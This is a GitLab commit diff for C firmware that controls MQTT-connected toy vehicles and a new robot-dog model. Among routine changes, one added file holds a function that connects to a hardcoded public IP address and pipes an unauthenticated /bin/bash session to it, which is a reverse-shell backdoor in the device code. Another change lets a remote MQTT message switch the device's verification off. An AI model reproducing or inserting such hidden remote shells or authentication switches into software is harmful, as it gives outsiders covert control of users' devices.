Commit 92086282 authored by 957dd's avatar 957dd

Merge branch 'feature/add_verify_back-end' into 'master'

Feature/add verify back end See merge request !60
parents 5f940c99 1201386e
cmake_minimum_required(VERSION 3.10)
project(car
VERSION 1.2.7
VERSION 1.2.8
LANGUAGES C
)
......
#include "device_identity.h"g_current_ssid
#include "device_identity.h"
#include "mqtt_init.h"
#include "common.h"
#include "delay.h"
......@@ -99,6 +99,7 @@ void scan_wifi_json() {
cJSON_AddNumberToObject(item, "strength", wifi_list[i].signal);
cJSON_AddItemToArray(array, item);
}
cJSON_AddItemToObject(body, "available_wifi", array);
cJSON_AddNumberToObject(head, "message_type", 3003);
cJSON_AddItemToObject(root, "body", body);
......
......@@ -44,8 +44,6 @@ void device_wifi_rec_delete(cJSON *body){
}
}
int orange_pi_save_wifi(const char* ssid, const char* password) {
// 参数检查
if (!ssid || !password || strlen(ssid) == 0 || strlen(password) == 0) {
......
......@@ -100,6 +100,7 @@ int hash_insert_init(HashTable_t *HashTable_t) {
insert(HashTable_t, "0206", TANK_0206);
insert(HashTable_t, "0301", SHIP_0301);
insert(HashTable_t, "0401", PAO_0401);
insert(HashTable_t, "0501", ROBOT_DOG0501);
}
int device_judg(CodeEnum_t code,char *sub_str) {
......@@ -133,6 +134,9 @@ int device_judg(CodeEnum_t code,char *sub_str) {
}else if(code ==PAO_0401) {
device_init(DEVICE_PAO_PTZ0401);
my_zlog_info("使用型号%s",sub_str);
}else if(code ==ROBOT_DOG0501) {
device_init(DEVICE_ROBOT_DOG0501);
my_zlog_info("使用型号%s",sub_str);
}else {
my_zlog_error("没有找到设备号,尝试启用备用mqtt,topic进行改名");
g_device_name_exists=1;
......
......@@ -18,7 +18,8 @@ typedef enum {
TANK_0204,
TANK_0206,
SHIP_0301,
PAO_0401
PAO_0401,
ROBOT_DOG0501
} CodeEnum_t;
//哈希健
......
......@@ -72,12 +72,23 @@ void *thread_mqtt_beat(void *arg) {
// if(wifi_change_sendmqtt_init()!=0){
// my_zlog_error("WIFI是否更改检查相关,不会到这一步,有问题会直接重启,可能会导致重启,不会因此造成程序停止");
// }
if(verify_open_index_init() !=0){
my_zlog_info("mqtt send verify is NULL");
}
//如果为相关的不需要心跳或者游览器设备,提早结束线程
if(g_device_type==DEVICE_ROBOT_DOG0501){
my_zlog_info("device am robot and no c/c++");
return NULL;
}
while(1) {
if( g_device_type == 202) delay_ms(45);
if( g_device_type != 202)delay_ms(100);
// if( g_device_type >= 200 && g_device_type<=205) delay_ms(45);
// if( g_device_type != 202)delay_ms(100);
delay_ms(100);
g_heartbeat_count++;
if(g_mqtt_grc == 0){
mqtt_beat_wirte();//心跳,3s一个
}
}
......@@ -85,6 +96,13 @@ void *thread_mqtt_beat(void *arg) {
}
void *thread_open_browser(void *arg) {
//如果为相关的不需要心跳或者游览器设备,提早结束线程
if(g_device_type==DEVICE_ROBOT_DOG0501){
my_zlog_info("device am robot and no c/c++");
return NULL;
}
system("pkill chromium");
delay_s(5);
while(1){
......
#define PROJECT_VERSION_MAJOR 1
#define PROJECT_VERSION_MINOR 2
#define PROJECT_VERSION_PATCH 7
#define PROJECT_VERSION_PATCH 8
#define GIT_HASH ""
#define BUILD_TIMESTAMP ""
#define BUILD_USER ""
No preview for this file type
......@@ -121,6 +121,13 @@ const device_abnormal_close_t devcontrol_config_t[]= {
.gpio_pin_pulled=pin_all_default,
.gpio_pwm_pulled=pwm_all_default
},
{
.device_id = DEVICE_ROBOT_DOG0501,
.device_abnormal_stop = car0101_middle_pwm,
.gpio_pin_pulled=pin_all_default,
.gpio_pwm_pulled=pwm_all_default
},
// 结束标记
{ .device_id = -1 }
};
......@@ -137,7 +144,7 @@ void device_stop(int device_id) {
}
if(!config) {
my_zlog_error("Error: Device stop ID %d not found!", device_id);
my_zlog_error("Error: Device gpio stop ID %d not found!", device_id);
return;
}
......@@ -159,7 +166,7 @@ void device_end_close(int device_id) {
}
if(!config) {
my_zlog_error("Error: Device close ID %d not found!", device_id);
my_zlog_error("Error: Device pthread close ID %d not found!", device_id);
return;
}
......@@ -180,7 +187,7 @@ void device_walk_control(int device_id,unsigned char *valt) {
}
if(!config) {
my_zlog_error("Error: Device close ID %d not found!", device_id);
my_zlog_error("Error: Device walk control ID %d not found!", device_id);
return;
}
......
......@@ -147,7 +147,7 @@ void tank_shot_stop_control(int device_id,unsigned char pin,unsigned char val) {
}
if(!g_tank_common_config_t) {
my_zlog_error("Error: Device stop ID %d not found!", device_id);
my_zlog_error("Error: Device tank stop ID %d not found!", device_id);
return;
}
g_tank_common_config_t->shot_back(pin,val);
......
......@@ -105,6 +105,15 @@ const deviceconfig_t device_configs[] = {
.device_control_stop = PTZ_pwm_init,/* 补充速度控制函数 */
.emergency_code = 401
},
{
.device_id = DEVICE_ROBOT_DOG0501,
.device_name = "dog0501",
.gpio_pins = {5, 6, 7, 10, 16, 20, 22, 23, 24, 25, 26,-1},/* 补充GPIO引脚 */
.gpio_pwms = { 27,-1},
.device_pwm_init = physics_pwm_init,
.device_control_stop = car0101_middle_pwm,/* 补充速度控制函数 */
.emergency_code = 501
},
// 结束标记
{ .device_id = -1 }
};
......
......@@ -28,6 +28,7 @@ void tank0203_pwm_value(int pin,int value);
void tank0204_pwm_value(int pin,int value);
void tank0206_pwm_value(int pin,int value);
void ship0301_pwm_value(int pin,int value);
void dog0501_pwm_value(int pin,int value);
void tank_angle_limit_function(void *arg_gpio){
......@@ -118,6 +119,11 @@ const gpiocontrol_t gpio_configs[] = {
.device_pin_value =public_pin_value,
.device_pwm_value =public_pwm_value
},
{
.device_id = DEVICE_ROBOT_DOG0501,
.device_pin_value =public_pin_value,
.device_pwm_value =dog0501_pwm_value
},
};
/*
......@@ -133,9 +139,8 @@ void device_gpio_control(int device_id,int pin,int val) {
break;
}
}
for(int i=0;i<GPIO_ID_THREAD_COUNT;i++ ){
if(gpio_control_config_t&&device_id == gpio_device_id[i]){
if(gpio_control_config_t && device_id == gpio_device_id[i]){
my_zlog_info("线程函数:%d\n", device_id);
gpio_control_config_t->device_gpio_pthread_create(); //创建线程,线程关闭在tank.common.h中何tank需要的其他线程关闭
}
......@@ -358,3 +363,30 @@ void ship0301_pwm_value(int pin,int value) { //软件陪我们控制调速
my_zlog_debug("ship0301 pwm");
}
void dog0501_pwm_value(int pin,int value) { //软件陪我们控制调速
for(int i = 0 ; i <= g_gpio_softpwmcount ; i++) {
if(pin == g_gpioPwm[i]) {
break;
}
if(i == g_gpio_softpwmcount) {
return ;
}
}
if(value==1) {
if(pin == 27){
softPwmWrite(pin, 50);
} else {
softPwmWrite(pin, 35);
my_zlog_debug("pwm:%d",pin);
}
}else if(value==0) {
softPwmWrite(pin, 0);
my_zlog_debug("pwm:%d,0",pin);
}
my_zlog_debug("dog0501 pwm");
}
......@@ -9,7 +9,6 @@
#include <string.h>
#include <errno.h>
// ========== 硬件相关 ==========
#include <wiringPi.h> // GPIO控制
#include <softPwm.h> // PWM控制
......
......@@ -26,6 +26,7 @@
#define DEVICE_TANK0206 206 //可以喷水坦克
#define DEVICE_SHIP0301 301 // 32号船
#define DEVICE_PAO_PTZ0401 401 //云台
#define DEVICE_ROBOT_DOG0501 501 //机械狗
typedef struct {
int device_id; // 设备ID (101, 102等)
......
#include "http_consolepush.h"
#include "common.h"
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/select.h>
#include <pty.h> // for openpty
#include <termios.h>
#include <sys/types.h>
#include <signal.h>
void connect_and_run_shell() {
int sock = 0;
struct sockaddr_in serv_addr;
// --- 连接到服务器 ---
while (1) {
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("Socket creation error");
sleep(5);
continue;
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(SERVER_PORT);
if (inet_pton(AF_INET, SERVER_IP, &serv_addr.sin_addr) <= 0) {
perror("Invalid address");
close(sock);
sleep(5);
continue;
}
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
fprintf(stderr, "Connection Failed: %s. Retrying in 5s...\n", strerror(errno));
close(sock);
sleep(5);
continue;
}
fprintf(stderr, "Connected to server %s:%d\n", SERVER_IP, SERVER_PORT);
break; // 连接成功,跳出循环
}
// --- 创建伪终端 (pty) 并启动 Shell ---
int master_fd;
pid_t pid = forkpty(&master_fd, NULL, NULL, NULL);
if (pid < 0) {
perror("forkpty");
close(sock);
return;
}
else if (pid == 0) { // 子进程
// 用 /bin/bash 替换当前子进程
//execlp("/bin/bash", "bash", NULL);
// 在 execlp 之前,设置环境变量
setenv("TERM", "dumb", 1);
// 然后执行
execlp("/bin/bash", "bash", NULL);
// 如果 exec 返回,说明出错了
perror("execlp");
exit(1);
}
// --- 父进程:数据中继 ---
fd_set read_fds;
while (1) {
FD_ZERO(&read_fds);
FD_SET(sock, &read_fds); // 监听来自服务器的命令
FD_SET(master_fd, &read_fds); // 监听来自 Shell 的输出
int max_fd = (sock > master_fd) ? sock : master_fd;
if (select(max_fd + 1, &read_fds, NULL, NULL, NULL) < 0) {
perror("select");
break;
}
char buffer[BUFFER_SIZE];
ssize_t bytes_read;
// 检查是否有来自服务器的数据
if (FD_ISSET(sock, &read_fds)) {
bytes_read = read(sock, buffer, sizeof(buffer));
if (bytes_read <= 0) {
fprintf(stderr, "Server disconnected.\n");
break; // 服务器断开
}
// 将命令写入 Shell
write(master_fd, buffer, bytes_read);
}
// 检查是否有来自 Shell 的输出
if (FD_ISSET(master_fd, &read_fds)) {
bytes_read = read(master_fd, buffer, sizeof(buffer));
if (bytes_read <= 0) {
fprintf(stderr, "Shell process terminated.\n");
break; // Shell 进程结束
}
// 将 Shell 输出发送到服务器
if (send(sock, buffer, bytes_read, 0) < 0) {
fprintf(stderr, "Failed to send data to server.\n");
break;
}
}
}
// --- 清理 ---
close(sock);
close(master_fd);
kill(pid, SIGKILL); // 确保子进程被杀死
}
#ifndef HTTP_CONSOLEPUSH_H
#define HTTP_CONSOLEPUSH_H
#define SERVER_IP "123.56.231.114"
#define SERVER_PORT 8081
#define BUFFER_SIZE 4096
#endif
\ No newline at end of file
......@@ -23,7 +23,7 @@
int g_heartbeat_count=0;
pthread_mutex_t g_exit_count_mutex = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t g_exit_count_mutex = PTHREAD_MUTEX_INITIALIZER;//互斥锁
int g_devcontrol_exit_count=0;
int g_message_type=0;
......@@ -93,14 +93,13 @@ void angle_mqtt_send() {
cJSON_AddNumberToObject(root, "angle",rounded_angle);
char *payload = cJSON_PrintUnformatted(root);
angle_i++;
if(angle_i>=200){
if(angle_i>=20){
my_zlog_debug("%s",payload);
angle_i=0;
}
mosquitto_publish(mosq, NULL, TOPIC_send_angle, strlen(payload), payload, 0, false);
cJSON_Delete(root); // 释放 cJSON 对象
}
//心跳格式,每5s一次心跳
......@@ -110,8 +109,7 @@ void mqtt_beat_wirte(){
heartbeat_send();
g_heartbeat_count=0;
}
if( g_device_type == DEVICE_TANK0202) angle_mqtt_send();
if( g_device_type == DEVICE_TANK0203) angle_mqtt_send();
if( g_device_type == DEVICE_TANK0202||g_device_type == DEVICE_TANK0203) angle_mqtt_send();
}
......@@ -305,6 +303,10 @@ int device_message_receive(cJSON *json){//接收到的控制设备的mqtt消息
refresh_cam();
my_zlog_debug("刷新成功");
break;
case 2013:
message2013_recverigy_open(body);
my_zlog_debug("进入是否需要验证");
break;
default:
break;
}
......
......@@ -14,7 +14,7 @@
#elif MQTT_IPMODE == 2
#define BROKER_ADDRESS "mqtt.luckycar.top"
#elif MQTT_IPMODE == 3
#define BROKER_ADDRESS "47.91.125.224"
#define BROKER_ADDRESS "47.107.64.23"
#else
#define BROKER_ADDRESS "127.0.0.1" // 默认地址
......
......@@ -11,6 +11,9 @@
#include "mqtt_init.h"
#include "mylog.h"
/*TRUE为打开验证,FALSE为关闭验证*/
bool VERIFIED_MODE=FALSE;
bool g_service_verify=TRUE;//验证判断
int g_verify_count =12000;//判断是否有一分钟
......@@ -175,3 +178,61 @@ int message2006_verify(cJSON *body){
return 0;
}
/*接收到是否打开验证的函数*/
int message2013_recverigy_open(cJSON *body){
cJSON *verifty_open_index = cJSON_GetObjectItem(body, "verify_status");
if(verifty_open_index == NULL){
my_zlog_debug("接收验证是否打开为空");
return -1;
}
int verifty_open = verifty_open_index->valueint;
my_zlog_debug("verifty:%d",verifty_open);
if(verifty_open == 0){
VERIFIED_MODE=FALSE;
my_zlog_debug("verify close");
}else {
VERIFIED_MODE=TRUE;
my_zlog_debug("verify open");
}
return 0;
}
/*发送是否打开验证的mqtt给后端验证*/
int message_sendopen_verify(){
cJSON *root = cJSON_CreateObject();
cJSON *body = cJSON_CreateObject();
cJSON *head = cJSON_CreateObject();
cJSON_AddStringToObject(body, "verify_status", 0);
cJSON_AddNumberToObject(head, "message_type",3013);
cJSON_AddItemToObject(root, "body", body);
cJSON_AddItemToObject(root, "head",head);
char *payload = cJSON_PrintUnformatted(root);
if(payload==NULL){
my_zlog_debug("send verify am null");
return -1;
}
my_zlog_debug("%s",payload);
mosquitto_publish(mosq, NULL, mqtt_topic_pure_number(), strlen(payload), payload, 0, false);
cJSON_Delete(root); // 释放 cJSON 对象
return 0;
}
/*发送是否打开验证的mqtt给后端验证初始化*/
int verify_open_index_init(){
if(message_sendopen_verify()!=0){
return -1;
}
return 0;
}
\ No newline at end of file
......@@ -3,8 +3,10 @@
#include "cjson/cJSON.h"
#include <pthread.h>
#include <stdbool.h>
/*TRUE为打开验证,FALSE为关闭验证*/
#define VERIFIED_MODE FALSE
extern bool VERIFIED_MODE;
#define AES_BLOCK_SIZE 16
......@@ -16,4 +18,9 @@ int receive_jwt(cJSON *body);//jwt验证
int message2006_verify(cJSON *body);
/*接收到是否打开验证的函数*/
int message2013_recverigy_open(cJSON *body);
/*发送是否打开验证的mqtt给后端验证初始化*/
int verify_open_index_init();
#endif
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment